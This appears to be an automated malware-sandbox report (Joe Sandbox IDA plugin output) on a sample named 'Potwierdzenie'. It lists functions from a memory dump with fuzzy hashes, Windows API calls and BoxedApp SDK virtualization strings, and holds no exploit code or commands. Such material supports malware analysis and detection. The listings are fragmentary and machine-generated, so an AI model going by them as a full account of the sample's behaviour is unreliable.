Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 689d745d307f9731561f7501688e5c2c192cc86f7c95266833f28823c9747e40
Instruction ID: 5cfbddc213b19fc1bc98698e44ee8ffb3fbb27d0959393602e2a6d0ad726b1b8
Opcode Fuzzy Hash: 689d745d307f9731561f7501688e5c2c192cc86f7c95266833f28823c9747e40
Instruction Fuzzy Hash: 2671D0B0D21326AFDB24DF65C884B6ABBB8FF44754F148178E905A7280DB34A655CFE0

Function 0BC1A0A0 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0BCBF120: GetWindowsDirectoryW.KERNEL32(00000000,00000001), ref: 0BCBF135
Part of subcall function 0BCBF120: GetWindowsDirectoryW.KERNEL32(00000000,00000001), ref: 0BCBF16A

memcpy.NTDLL(00000000,\assembly\GAC\BoxedAppSDK_AppDomainManager\1.0.0.0__ef07ce3257ee81c1\BoxedAppSDK_AppDomainManager.dll,?,00000000,00000000), ref: 0BC1A10E
memcpy.NTDLL(00000000,\.NETFramework\assembly\GAC\BoxedAppSDK_AppDomainManager\1.0.0.0__ef07ce3257ee81c1\BoxedAppSDK_AppDomainManager.dll,00000000,00000000,00000000), ref: 0BC1A15E
WriteFile.KERNEL32(00000000,0BCF4C20,?,00000000,00000000,40000000,00000001,00000000,00000002,00000000,00000000), ref: 0BC1A1B5
CloseHandle.KERNEL32(00000000), ref: 0BC1A1BC
memcpy.NTDLL(?,?,?,00000000,00000000), ref: 0BC1A1F7
memcpy.NTDLL(?,00000000,00000000,?,?,?,00000000,00000000), ref: 0BC1A20B
WriteFile.KERNEL32(00000000,0BCF4C20,?,00000000,?,40000000,00000001,00000000,00000002,00000000,00000000,00000000), ref: 0BC1A23E
CloseHandle.KERNEL32(00000000), ref: 0BC1A245

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

\assembly\GAC\BoxedAppSDK_AppDomainManager\1.0.0.0__ef07ce3257ee81c1\BoxedAppSDK_AppDomainManager.dll, xrefs: 0BC1A0B5, 0BC1A105
\.NETFramework\assembly\GAC\BoxedAppSDK_AppDomainManager\1.0.0.0__ef07ce3257ee81c1\BoxedAppSDK_AppDomainManager.dll, xrefs: 0BC1A116, 0BC1A158

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$CloseDirectoryFileHandleWindowsWrite$FreeHeapReleaseSemaphore
String ID: \.NETFramework\assembly\GAC\BoxedAppSDK_AppDomainManager\1.0.0.0__ef07ce3257ee81c1\BoxedAppSDK_AppDomainManager.dll$\assembly\GAC\BoxedAppSDK_AppDomainManager\1.0.0.0__ef07ce3257ee81c1\BoxedAppSDK_AppDomainManager.dll
API String ID: 2563470673-4250271233
Opcode ID: bca8db77c495371129d9ab0afb5eb76ef85f9b8a2ea1e4e3703ad86783a684c5
Instruction ID: c755f5408e5cb62ef58919b58373e64a7cdce58a0dba7bdf423b75b1c5a3ab7e
Opcode Fuzzy Hash: bca8db77c495371129d9ab0afb5eb76ef85f9b8a2ea1e4e3703ad86783a684c5
Instruction Fuzzy Hash: C251B472D51205AFEB10EBA0DC46FFF73A8EF55300F540429F506B7181EA71EA05A7A1

Function 0BCC2AA0 Relevance: 21.2, APIs: 14, Instructions: 170fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000002,00000000,00000000,?,-00000001,?,?,0BCC1B05,00000008,?,-00000001), ref: 0BCC2AD0
CloseHandle.KERNEL32(?,?,-00000001,?,?,0BCC1B05,00000008,?,-00000001,?,?,?,0BCC3CD7,?,?), ref: 0BCC2AE5
GetLastError.KERNEL32(?,-00000001,?,?,0BCC1B05,00000008,?,-00000001,?,?,?,0BCC3CD7,?,?), ref: 0BCC2AEF
SetFilePointer.KERNEL32(00000000,00010000,00000000,00000000,?,-00000001,?,?,0BCC1B05,00000008,?,-00000001,?,?,?,0BCC3CD7), ref: 0BCC2B16
SetEndOfFile.KERNEL32(?,?,-00000001,?,?,0BCC1B05,00000008,?,-00000001,?,?,?,0BCC3CD7,?,?), ref: 0BCC2B24
CreateFileMappingW.KERNEL32(00000004,00000000,00000004,00000000,00000000,00000000,?,-00000001,?,?,0BCC1B05,00000008,?,-00000001), ref: 0BCC2B3B
GetLastError.KERNEL32(?,-00000001,?,?,0BCC1B05,00000008,?,-00000001,?,?,?,0BCC3CD7,?,?), ref: 0BCC2B47

Part of subcall function 0BCC3330: UnmapViewOfFile.KERNEL32(00000000,00000000,?,0BCC2B76,00000000,00000006,00000000,00000000,00000000,?,-00000001,?,?,0BCC1B05,00000008), ref: 0BCC333D
Part of subcall function 0BCC3330: MapViewOfFile.KERNEL32(-00000001,?,00000008,0BCC1B05,?,00000000,?,0BCC2B76,00000000,00000006,00000000,00000000,00000000,?,-00000001), ref: 0BCC3358

GetLastError.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 0BCC2B7A
CloseHandle.KERNEL32(00000000), ref: 0BCC2B95
CloseHandle.KERNEL32(00000000), ref: 0BCC2BD9
SetFilePointer.KERNEL32(00000006,00010000,00000000,00000001), ref: 0BCC2C0F
SetEndOfFile.KERNEL32(00000006), ref: 0BCC2C21
CreateFileMappingW.KERNEL32(00000006,00000000,00000004,00000000,00000000,00000000), ref: 0BCC2C3C
CloseHandle.KERNEL32(00000000,00000000,00000006,00000000,00000000,00000000), ref: 0BCC2C85

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: File$CloseHandle$CreateErrorLast$MappingPointerView$Unmap
String ID:
API String ID: 2809941807-0
Opcode ID: 46db18c5e6a151babab8d80356f0b8a13304bb3b90b933c5b216d09574d9070b
Instruction ID: 7eac7a8a099e342668e777e81511c227b23ff3c98dbcca7a58ada1c7b286344d
Opcode Fuzzy Hash: 46db18c5e6a151babab8d80356f0b8a13304bb3b90b933c5b216d09574d9070b
Instruction Fuzzy Hash: FD51DE31391702ABE3208E28DC45F56B7A1BF50724F204229F665EE6D0D7B1E962CB98

Function 0BC8FBE0 Relevance: 21.2, APIs: 14, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85b8d405e7f543f6b367297637254d612134f53676ab82e316d523c37e8b8ede
Instruction ID: 96e8548072324362a600723142307d07d6ce7f7829186b4a8529aa0b860284e5
Opcode Fuzzy Hash: 85b8d405e7f543f6b367297637254d612134f53676ab82e316d523c37e8b8ede
Instruction Fuzzy Hash: 6E51D3B0921716AFDB24EF66C880B6BB7B8FF04758F004A2DE905A7250D734AB54DBD0

Function 0BC2CA20 Relevance: 21.2, APIs: 14, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2054dca58a9740a3ba9d919ad4893c8b7d8ec3a3a933193057bb43ff352d966
Instruction ID: b04fd84d790c434b829f7006f01dc94521fdd90b5eddf837b9bf8c3f15d9e058
Opcode Fuzzy Hash: a2054dca58a9740a3ba9d919ad4893c8b7d8ec3a3a933193057bb43ff352d966
Instruction Fuzzy Hash: 1351BEB4A213119FDB34DF66C884B2FB7F8FF80744F104A2CE546A6250DB74AA48DB90

Function 0BC2CC20 Relevance: 21.2, APIs: 14, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd383fb9f4fdb3191269da8b94d36bd21e5d7e38f215f496d19b2058b93f9508
Instruction ID: 19ffeee3dab978d0a7eba1c2a170196c35ded4e4f94d4c36f83c648d685ba81b
Opcode Fuzzy Hash: cd383fb9f4fdb3191269da8b94d36bd21e5d7e38f215f496d19b2058b93f9508
Instruction Fuzzy Hash: 73519EB09217119FDB30DF66C884B6FBBF8FF80744F104A2CD946A6650DB34A608DB90

Function 0BCA22D0 Relevance: 21.2, APIs: 14, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfab17341d98f2f236434a73ffd42bed5509530a598f641e0258dc57339dd186
Instruction ID: c43fb876e37f0c0aabc3f2ffcb8ae8877ad9d82618852708b64cd429510d9395
Opcode Fuzzy Hash: cfab17341d98f2f236434a73ffd42bed5509530a598f641e0258dc57339dd186
Instruction Fuzzy Hash: 2451C4B0922727AFDB14EF66C845B6BFBBCBF40758F004218E515AB240DB34AA45DBD0

Function 0BCAA070 Relevance: 21.2, APIs: 14, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2e0dcb8f144d726bc8016a184b26dbf3204151b77b83768391e1da44ee289d6
Instruction ID: acf33d6f39850aca3e04b093fa4c2b131feec28413a2887cc041161c928e7c2a
Opcode Fuzzy Hash: e2e0dcb8f144d726bc8016a184b26dbf3204151b77b83768391e1da44ee289d6
Instruction Fuzzy Hash: 1351B3B0921717AFDB24DF66C845B6BBBB8BF44358F004228E505A7240DB35EA95CFE0

Function 0BC23B50 Relevance: 21.2, APIs: 14, Instructions: 167COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6abb6e2772ede82c8da288b3ca61da523c9a5563f9f73f1abf1ff58e6d5bef9a
Instruction ID: 1b36add5087b4f34dae76fb7e1e149922bef9d73965f3cd1c8ccca62829a68fc
Opcode Fuzzy Hash: 6abb6e2772ede82c8da288b3ca61da523c9a5563f9f73f1abf1ff58e6d5bef9a
Instruction Fuzzy Hash: 9151A2B49203519FDB34DF66C885B2BB7F8BFC0744F104A2CE546A6250DB38A608CB94

Function 0BC18E70 Relevance: 19.8, APIs: 13, Instructions: 341threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0BC18E81
GetCurrentThreadId.KERNEL32 ref: 0BC18EC5
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC18F52
GetCurrentThreadId.KERNEL32 ref: 0BC18F72
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC18FF9
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC19047
GetCurrentThreadId.KERNEL32 ref: 0BC19053
GetCurrentThreadId.KERNEL32 ref: 0BC190A0
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC1918D
GetCurrentThreadId.KERNEL32 ref: 0BC191AD
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC192D8

Part of subcall function 0BC163B0: CreateSemaphoreW.KERNEL32(00000000,00000000,7FFFFFFF,00000000,?,?,00000000,?,0BBF3F03,00000001), ref: 0BC163F3
Part of subcall function 0BC163B0: GetTickCount.KERNEL32 ref: 0BC1643E
Part of subcall function 0BC163B0: GetTickCount.KERNEL32 ref: 0BC16477

ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC19234
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC19282

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: Semaphore$Release$CurrentThread$CountTick$Create
String ID:
API String ID: 331493207-0
Opcode ID: 98889187dcca577d06cdee9ed38e89290772921050dfe0cfea8e571853d54d3e
Instruction ID: 511d0a0cfc520184f97183362925fff59fffcbb2ab907bc04df907b8835c5d66
Opcode Fuzzy Hash: 98889187dcca577d06cdee9ed38e89290772921050dfe0cfea8e571853d54d3e
Instruction Fuzzy Hash: 75D18E30621B01DFDB21CF74C894BA6B7E5BF06316F004E68D566AB2C0DBB4A586DF91

Function 0BC72230 Relevance: 19.8, APIs: 10, Strings: 3, Instructions: 332COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Part of subcall function 0BBFE950: memcpy.NTDLL(00000000,?,?,?), ref: 0BBFE98A

memcpy.NTDLL(00000000,?,?,?,00000000,?), ref: 0BC72364
memcpy.NTDLL(00000000, | ,00000000,?,00000000,?), ref: 0BC72395
memcpy.NTDLL(00000000,?,?,?,00000000,?), ref: 0BC723FD
memcpy.NTDLL(?,?,00000001,?,00000000,?), ref: 0BC72428
memcpy.NTDLL(?,NULL,00000002,00000000,00000101,?,00000000,?), ref: 0BC7249D

Strings

NULL, xrefs: 0BC72456, 0BC72494
0x%.8x, xrefs: 0BC724DB
| , xrefs: 0BC72321, 0BC7238F, 0BC724FA, 0BC7256C

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$FreeHeapReleaseSemaphore
String ID: | $0x%.8x$NULL
API String ID: 3508845319-2752359969
Opcode ID: fc9366952d173c7bc345c628e2d5ae78b2d31f31a02af65008cd42235b0b4a4f
Instruction ID: 3b3e77e8de1b6a2578a58d5a2732996522c448095ab8ee86dfadc32df239edb8
Opcode Fuzzy Hash: fc9366952d173c7bc345c628e2d5ae78b2d31f31a02af65008cd42235b0b4a4f
Instruction Fuzzy Hash: DFD18DB1D5060AAFDB10EF54C885AAEFBB9FF45304F148569D409AB301E730EA58DBE1

Function 0BC72620 Relevance: 19.8, APIs: 10, Strings: 3, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Part of subcall function 0BBFE950: memcpy.NTDLL(00000000,?,?,?), ref: 0BBFE98A

memcpy.NTDLL(00000000,?,?,?,?,?), ref: 0BC7272E
memcpy.NTDLL(00000000, | ,00000000,?,?,?), ref: 0BC7275F
memcpy.NTDLL(00000000,?,?,?,?,?), ref: 0BC727C4

Strings

NULL, xrefs: 0BC7281D, 0BC72856
0x%.8x, xrefs: 0BC7289D
| , xrefs: 0BC726E3, 0BC72759, 0BC728BC, 0BC7292D

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$FreeHeapReleaseSemaphore
String ID: | $0x%.8x$NULL
API String ID: 3508845319-2752359969
Opcode ID: f26deb1e574c736237ffa04624d5292b25a83b8336111c09c09433c84b8b67e1
Instruction ID: 59f1b235bf11ffe027604f84d3f8f9ca4d32a171908d2b7b7d0308ad0d7fdb47
Opcode Fuzzy Hash: f26deb1e574c736237ffa04624d5292b25a83b8336111c09c09433c84b8b67e1
Instruction Fuzzy Hash: 27C19FB1D5060AAFDB10EF64C885AAFBBB9FF45300F148569D8199B301E730EA54DBE1

Function 0BC54280 Relevance: 18.3, APIs: 3, Strings: 9, Instructions: 307COMMON

Download Yara Rule

APIs

Part of subcall function 0BCBE170: GetFullPathNameW.KERNEL32(?,00000001,00000000,00000000,?,0BBFC1C5), ref: 0BCBE19B
Part of subcall function 0BCBE170: memcpy.NTDLL(00000000,00000001,?,00000000,00000000), ref: 0BCBE289

memcpy.NTDLL(000000AC,00000000,00000000,00000000,00000000,00000000), ref: 0BC542E3

Part of subcall function 0BC179F0: memcpy.NTDLL(00000000,?,?), ref: 0BC17A39

memcpy.NTDLL(?,?,0BC535C8,00000000,00000000,0BCD7264,0BCD7D9C,?,?,00000000,00000000,00000000), ref: 0BC544FF
memcpy.NTDLL(00000000,\configuration.xml,00000000,?,?,0BC535C8,00000000,00000000,0BCD7264,0BCD7D9C,?,?,00000000,00000000,00000000), ref: 0BC54515

Part of subcall function 0BC6F4A0: GetLocalTime.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC6F4DF
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,bx:,00000000,?), ref: 0BC6F51B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F537
Part of subcall function 0BC6F4A0: memcpy.NTDLL(00000000,0BCDB50C,00000000,?,?), ref: 0BC6F58B
Part of subcall function 0BC6F4A0: wsprintfA.USER32 ref: 0BC6F5A1

Part of subcall function 0BC72C40: memcpy.NTDLL(00000000,75BF8400,00000000,75BF8400,?,75BF8400,?,?,0BC6F54B,?), ref: 0BC72CA8

Part of subcall function 0BBFF510: memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,00000000,?,?,0BBF2FC0,00000000,layer/sandbox,BoxedApp::ApiLayer::CAutoForceWriteCopyMode::Init,: TlsAlloc() failed, GetLastError() = ,00000000,0BCCD818), ref: 0BBFF558

Part of subcall function 0BC729E0: memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
Part of subcall function 0BC729E0: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

Strings

\configuration.xml, xrefs: 0BC544B5, 0BC5450F
: CreateFileSandboxConfigurationImpl() failed, hr = , xrefs: 0BC54451
: finished, xrefs: 0BC54600
BoxedApp::FileSystem::Layers::CSandboxDirectoryLayer::Init, xrefs: 0BC54320, 0BC54388, 0BC54456, 0BC5457B, 0BC54605
layer/sandbox, xrefs: 0BC54325, 0BC5438D, 0BC5445B, 0BC54580, 0BC5460A
", hr = , xrefs: 0BC545CA
: sandboxDirectoryPath = , xrefs: 0BC5431B
: IFileSandboxConfiguration::LoadFromFile() failed for ", xrefs: 0BC54576
: RtlDosPathNameToNtPathName_U() failed, xrefs: 0BC54383

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$wsprintf$FileFullLocalNamePathTimeWrite
String ID: ", hr = $: CreateFileSandboxConfigurationImpl() failed, hr = $: IFileSandboxConfiguration::LoadFromFile() failed for "$: RtlDosPathNameToNtPathName_U() failed$: finished$: sandboxDirectoryPath = $BoxedApp::FileSystem::Layers::CSandboxDirectoryLayer::Init$\configuration.xml$layer/sandbox
API String ID: 167674965-1769789360
Opcode ID: 1c7f8baab4c787c60c298232215f30020bac5639b0e2d9e202a7d1bf3f26a508
Instruction ID: 8e7d1eac5d7dce2f5e910c214b4887909ace6ec89e6f062c04cf060124b976ac
Opcode Fuzzy Hash: 1c7f8baab4c787c60c298232215f30020bac5639b0e2d9e202a7d1bf3f26a508
Instruction Fuzzy Hash: A2A1E331B60215AFDF04FB74DC92EBE73A9EF54600F444079E902AB254EE30AE48D7A5

Function 0BC2A710 Relevance: 16.7, APIs: 11, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
